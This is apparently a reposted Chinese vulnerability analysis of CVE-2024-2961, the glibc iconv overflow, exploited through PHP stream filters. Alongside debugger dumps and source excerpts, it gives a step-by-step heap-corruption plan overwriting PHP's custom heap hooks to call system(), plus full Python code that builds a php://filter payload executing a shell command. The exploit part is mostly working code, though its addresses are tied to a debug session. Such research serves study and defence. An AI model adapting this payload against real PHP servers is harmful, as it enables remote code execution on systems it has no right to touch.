0x5555557dfae5
<_php_stream_fill_read_buffer+
309
> call qword ptr [rax]
?
0x5555557dfae7
<_php_stream_fill_read_buffer+
311
> cmp eax,
2
0x5555557dfaea
<_php_stream_fill_read_buffer+
314
> je _php_stream_fill_read_buffer+
256
<_php_stream_fill_read_buffer+
256
>
↓
0x5555557dfab0
<_php_stream_fill_read_buffer+
256
> pxor xmm0, xmm0
0x5555557dfab4
<_php_stream_fill_read_buffer+
260
> movaps xmmword ptr [r12], xmm0
0x5555557dfab9
<_php_stream_fill_read_buffer+
265
> mov rbp, qword ptr [rbp +
0x18
]
0x5555557dfabd
<_php_stream_fill_read_buffer+
269
> test rbp, rbp
0x5555557dfac0
<_php_stream_fill_read_buffer+
272
> je _php_stream_fill_read_buffer+
448
<_php_stream_fill_read_buffer+
448
>
↓
0x5555557dfb70
<_php_stream_fill_read_buffer+
448
> mov rbp, qword ptr [r14]
0x5555557dfb73
<_php_stream_fill_read_buffer+
451
> test rbp, rbp
0x5555557dfb76
<_php_stream_fill_read_buffer+
454
> jne _php_stream_fill_read_buffer+
502
<_php_stream_fill_read_buffer+
502
>
─────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────
In file: /home/ubuntu/CVE
-2024
-
2961
/php8
.1
-
8.1
.
2
/main/streams/streams.c:
577
572
573
/* wind the handle... */
574
for
(filter = stream->readfilters.head; filter; filter = filter->next) {
575
status = filter->fops->filter(stream, filter, brig_inp, brig_outp, NULL, flags);
576
?
577
if
(status != PSFS_PASS_ON) {
578
break
;
579
}
580
581
/* brig_out becomes brig_in.
582
* brig_in will always be empty here, as the filter MUST attach any un-consumed buckets
# freeslot的定义如下
define freeslot
set
$phpheap
= (struct _zend_mm_heap *)
0x7ffff5200040
p
$phpheap-
>free_slot[
15
]
end
pwndbg> freeslot
$2
= (zend_mm_free_slot *)
0x7ffff528b200
pwndbg> x/32gx
0x7ffff528b200
0x7ffff528b200
:
0x00007ffff528b300
0x0000000000000000
0x7ffff528b210
:
0x0000000000000000
0x0000000000000000
0x7ffff528b220
:
0x0000000000000000
0x0000000000000000
0x7ffff528b230
:
0x0000000000000000
0x0000000000000000
0x7ffff528b240
:
0x0000000000000000
0x0000000000000000
0x7ffff528b250
:
0x0000000000000000
0x0000000000000000
0x7ffff528b260
:
0x0000000000000000
0x0000000000000000
0x7ffff528b270
:
0x0000000000000000
0x0000000000000000
0x7ffff528b280
:
0x0000000000000000
0x0000000000000000
0x7ffff528b290
:
0x0000000000000000
0x0000000000000000
0x7ffff528b2a0
:
0x0000000000000000
0x0000000000000000
0x7ffff528b2b0
:
0x0000000000000000
0x0000000000000000
0x7ffff528b2c0
:
0x0000000000000000
0x0000000000000000
0x7ffff528b2d0
:
0x0000000000000000
0x0000000000000000
0x7ffff528b2e0
:
0x0000000000000000
0x0000000000000000
0x7ffff528b2f0
:
0x0000000000000000
0x2a241b0000000000
pwndbg>
0x7ffff528b300
:
0x00007ffff528b148
0x4242424242424242
0x7ffff528b310
:
0x4242424242424242
0x4242424242424242
从上面的内存布局可以看出,程序已经按照我们的设想触发漏洞,溢出覆盖了free_slots
的指针。
2.3.3.4 最终利用
最终的利用思路我们参考了公开的PoC中的利用思路,即控制_zend_mm_heap
结构体中的custom_heap
。但是,该利用思路有个前置条件,需要将_zend_mm_heap->use_custom_heap
设置为非0值。此外,我们不能仅仅修改custom_heap._free
,还需要同时设置custom_heap._malloc
和custom_heap._realloc
。因为当_zend_mm_heap->use_custom_heap
非0时,这三个函数皆会调用其custom
函数。
基于之前的利用思路,我们的利用链要修改/新增以下步骤(这里需要注意,libc地址和php的_zend_mm_heap
地址都为已知信息。):
- 因为
0x7ffff528b300
指向了0x7ffff528b148
,所以我们需要控制该地址,恰好0x7ffff528b100
是第一步中申请到的第一个堆,所以我们需要让step1_malloc_step2_free
指向_zend_mm_heap
段的地址。 _zend_mm_heap
的地址为0x7ffff5200040
,我们利用的堆的大小为0x100,从0x7ffff5200050
开始,0x100的大小,可以覆盖到所有的free_slot
。所以,我们让0x7ffff528b148
指向0x7ffff5200050
。- 我们需要申请三个堆,把
0x200->0x300->0x148
这三个堆分配出来。这个时候free链表头为:0x7ffff5200050
。 - 申请一个堆,这个堆的地址为:
0x7ffff5200050
,写入我们需要控制的值。首先把size位设置为0x200000,free_slot只设置0x140和0x18的地址,其他皆为0。0x140的堆指向0x7ffff5200040
,用来设置use_custom_heap
,0x18的堆指向0x7ffff5200040 + 0x168
,用来设置custom_heap
。这里为什么设置0x140的堆呢?这个值是可以变化的,在这里参考了公开PoC中的定义cmd的命令长度为0x140,如果命令长度不够,则用填充到0x140的长度。
- 写入
use_custom_heap
和custom_heap
的值。 - 写入需要执行的命令字符串,当该堆释放的时候,就会调用system执行指定命令。
这里需要注意,执行的命令建议加上kill -9 $PPID;
,否则所有堆里的数据都会被当成命令去执行一遍。
根据以上思路,编写buildPayload
函数,代码如下所示:
def
chunked_add_bad_data(data: bytes, badData: bytes, totalsize: int)->bytes:
''
'
php处理dechunk的时候有一个问题,首先判断长度,只处理
0
-
9
, A-F,
a
-
f
这些字符。
如果判断非这些字符,就会判断为处理长度结束,接着会判断下一个字符是否是r或者n,如果不是则跳过。
这让我们可以在长度和n之间注入其他字符,这些字符有以下要求,开始的值不能为十六进制,中间不能含有n或者r。
一个示例:
b
'00000010........x00Ax00x00x00x00x00x00AAAAAAn000008nAAAAAAAAnn'
这样往堆的
0x10
地址注入了
0x4100
不过这种方案限制比较大,如果php的_zend_mm_heap地址包含
0x0a
或者
0x0d
,就不能用了
''
'
dataSize = len(data)
chunk =
f
"{dataSize:x}"
.rjust(
8
,
"0"
)
chunk = chunk.encode() +
b
"."
*
8
+ badData
end =
b
"n"
+ data +
b
"n"
chunk +=
b
"A"
* (totalsize - len(chunk) - len(end))
chunk += end
assert
len(chunk) == totalsize
return
chunk
def
buildPayload() -> str:
''
'
我们把一次处理dechunk + convert.iconv.的过程算一步
''
'
heapSize =
0x100
BUG =
"劄"
.encode(
"utf-8"
)
# _zend_mm_heap基地址
zend_heap_base =
0x7ffff5200040
# 第一步申请0x100的堆,第二步释放
# 第三次dechunk,长度小于0x100
step1_malloc_step2_free = chunked_add_bad_data(
b
"A"
*
8
, p64(zend_heap_base +
0x10
) *
10
, 0xA0)
# 第二次dechunk,长度小于0x100
step1_malloc_step2_free = chunked_chunk(step1_malloc_step2_free, heapSize)
# 第一次dechunk,长度等于0x100
step1_malloc_step2_free = compressed_bucket(step1_malloc_step2_free)
# 第二步申请0x100的堆,第三步释放
step2_malloc_step3_free =
b
"B"
*
0x20
# 第三次dechunk,长度小于0x100
step2_malloc_step3_free = chunked_chunk(step2_malloc_step3_free, heapSize)
# 第二次dechunk,长度等于0x100
step2_malloc_step3_free = chunked_chunk(step2_malloc_step3_free)
# 第一次dechunk,长度大于0x100
step2_malloc_step3_free = compressed_bucket(step2_malloc_step3_free)
# 第三步触发bug
step3_trigger_bug = (
0x100
- len(BUG)) *
b
"x00"
+ BUG
# 确保长度为0x100
assert
len(step3_trigger_bug) ==
0x100
# 第三次dechunk,长度等于0x100
step3_trigger_bug = chunked_chunk(step3_trigger_bug)
# 第二次dechunk,长度大于0x100
step3_trigger_bug = chunked_chunk(step3_trigger_bug)
# 第一次dechunk,长度大于0x100
step3_trigger_bug = compressed_bucket(step3_trigger_bug)
# 第三次dechunk, 0n
step3_trailer_chunk =
b
"0n"
.ljust(
0x48
,
b
"x00"
) + p64(zend_heap_base +
0x10
)
step3_trailer_chunk +=
b
"x00"
* (heapSize - len(step3_trailer_chunk))
# 第二次dechunk,长度等于0x100
step3_trailer_chunk = chunked_chunk(step3_trailer_chunk)
# 第一次dechunk,长度大于0x100
step3_trailer_chunk = compressed_bucket(step3_trailer_chunk)
step4_write_zend_heap = ptr_bucket(
0x200000
,
0
,
# free_slot
0
,
0
,
zend_heap_base +
0x168
,
# 0x18
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
zend_heap_base,
# 0x140
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
size=
0x100
,
)
step4_write_zend_heap = chunked_chunk(step4_write_zend_heap)
step4_write_zend_heap = chunked_chunk(step4_write_zend_heap)
step4_write_zend_heap = compressed_bucket(step4_write_zend_heap)
mallocAddr =
0x7ffff7568120
systemAddr =
0x7ffff7513d60
reallocAddr =
0x7ffff75687c0
step4_write_custom_heap = ptr_bucket(
mallocAddr, systemAddr, reallocAddr, size=
0x18
)
step4_write_custom_heap = chunked_chunk(step4_write_custom_heap)
step4_write_custom_heap = chunked_chunk(step4_write_custom_heap)
step4_write_custom_heap = compressed_bucket(step4_write_custom_heap)
step4_use_custom_heap_and_cmd =
b
"kill -9 $PPID; ls -alF"
step4_use_custom_heap_and_cmd = step4_use_custom_heap_and_cmd.ljust(
0x140
,
b
"x00"
)
step4_use_custom_heap_and_cmd = qpe(step4_use_custom_heap_and_cmd)
step4_use_custom_heap_and_cmd = chunked_chunk(step4_use_custom_heap_and_cmd)
step4_use_custom_heap_and_cmd = chunked_chunk(step4_use_custom_heap_and_cmd)
step4_use_custom_heap_and_cmd = compressed_bucket(step4_use_custom_heap_and_cmd)
pages = (
step4_write_zend_heap *
4
+
step4_write_custom_heap +
step4_use_custom_heap_and_cmd +
step1_malloc_step2_free *
3
+
step2_malloc_step3_free *
2
+
step3_trigger_bug
)
resource = compress(pages)
resource = base64.b64encode(resource)
resource =
f
"data:text/plain;base64,{resource.decode()}"
filters = [
# zlib解压缩
"zlib.inflate"
,
# 第一步
"dechunk"
,
"convert.iconv.latin1.latin1"
,
# 第二步
"dechunk"
,
"convert.iconv.latin1.latin1"
,
# 第三步触发漏洞
"dechunk"
,
"convert.iconv.UTF-8.ISO-2022-CN-EXT"
,
# 第四步,写入数据然后执行命令
"convert.quoted-printable-decode"
,
"convert.iconv.latin1.latin1"
,
]
filters =
"|"
.join(filters)
path =
f
"php://filter/read={filters}/resource={resource}"
return
path
注意,因为提供的地址都是使用gdb调试时的地址,因此上面的Payload只能在调试状态下成功执行命令。
3 总结
经过自行调试和分析后发现,公开的PoC已经非常完善了,利用链无法进一步优化,并且已经进行了两次zlib压缩,能把payload压缩到非常短。
虽然目前公开的只有对PHP进行利用的PoC,但是iconv漏洞的影响面仍非常广泛,后续将继续对iconv的使用面进行研究,以确定是否还有其他应用受到了该漏洞的影响。
4 参考链接
原文始发于微信公众号(白帽子):原创 Paper | CVE-2024-2961 漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论